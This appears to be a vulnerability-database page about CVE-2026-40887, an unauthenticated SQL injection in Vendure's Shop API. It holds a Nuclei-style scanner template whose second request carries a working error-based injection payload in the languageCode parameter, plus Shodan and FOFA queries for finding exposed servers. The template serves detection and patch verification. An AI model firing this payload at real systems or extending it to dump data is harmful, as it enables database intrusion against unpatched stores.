| Reporter | Title | Published | Views | Family All 15 |
|---|---|---|---|---|
| CVE-2026-40887 | 17 Apr 202606:31 | – | circl | |
| Vendure SQL注入漏洞 | 21 Apr 202600:00 | – | cnnvd | |
| CVE-2026-40887 | 21 Apr 202619:24 | – | cve | |
| CVE-2026-40887 @vendure/core has a SQL Injection vulnerability | 21 Apr 202619:24 | – | cvelist | |
| @vendure/core has a SQL Injection vulnerability | 14 Apr 202622:38 | – | github | |
| CVE-2026-40887 | 21 Apr 202620:17 | – | nvd | |
| GHSA-9PP3-53P2-WW9V @vendure/core has a SQL Injection vulnerability | 14 Apr 202622:38 | – | osv | |
| PT-2026-33235 | 14 Apr 202600:00 | – | ptsecurity | |
| CVE-2026-40887 | 5 Jun 202619:13 | – | redhatcve | |
| SQL Injection | 14 Apr 202622:38 | – | snyk |
id: CVE-2026-40887
info:
name: Vendure Core - SQL Injection
author: theamanrawat
severity: critical
description: |
Vendure, an open-source headless commerce platform built on Node.js/TypeScript, contains a critical SQL injection vulnerability in its Shop API. The languageCode query parameter is interpolated directly into a raw SQL CASE expression in ProductService.findOneBySlug without parameterization or input validation, allowing unauthenticated attackers to execute arbitrary SQL commands. This can lead to full database disclosure and denial of service.
remediation: Upgrade @vendure/core to version 3.6.2, 3.5.7, or 2.3.4 or later, which add input validation and parameterized queries for the languageCode parameter.
reference:
- https://github.com/advisories/GHSA-9pp3-53p2-ww9v
- https://github.com/vendurehq/vendure/security/advisories/GHSA-9pp3-53p2-ww9v
- https://github.com/vendurehq/vendure/commit/3ff0bc1
- https://nvd.nist.gov/vuln/detail/CVE-2026-40887
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:H
cvss-score: 9.1
cve-id: CVE-2026-40887
epss-score: 0.01762
epss-percentile: 0.75112
cwe-id: CWE-89
metadata:
max-request: 2
verified: true
shodan-query: http.header:"vendure-auth-token"
fofa-query: header="vendure-auth-token"
tags: cve,cve2026,vendure,sqli,unauthenticated
variables:
num: 999999999
flow: http(1) && http(2)
http:
- raw:
- |
POST /shop-api HTTP/1.1
Host: {{Hostname}}
Content-Type: application/json
{"query":"{ __typename }"}
matchers:
- type: dsl
dsl:
- 'contains(header, "vendure-auth-token")'
- 'contains(body, "\"data\"")'
- 'status_code == 200'
condition: and
internal: true
- raw:
- |
POST /shop-api?languageCode=en'+AND+EXTRACTVALUE(5202,CONCAT(0x5c,(SELECT+MD5('{{num}}'))))+AND+'ptic'%3d'ptic HTTP/1.1
Host: {{Hostname}}
Content-Type: application/json
{"query":"{ product(slug: \"a\") { id name } }"}
matchers-condition: and
matchers:
- type: word
part: body
words:
- 'c8c605999f3d8352d7bb792cf3fd'
- '"product":'
condition: and
- type: status
status:
- 200
# digest: 4b0a00483046022100f8b1c40ad91e3fa359b0515a3a3717cf8ef93fd358153f2e1d7b073e682b6cf5022100f08591d8605ea1bf411befc34198b1016d8fc0cb1386c6d04bf23f6f8df76452:922c64590222798bb761d5b6d8e72950Data
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation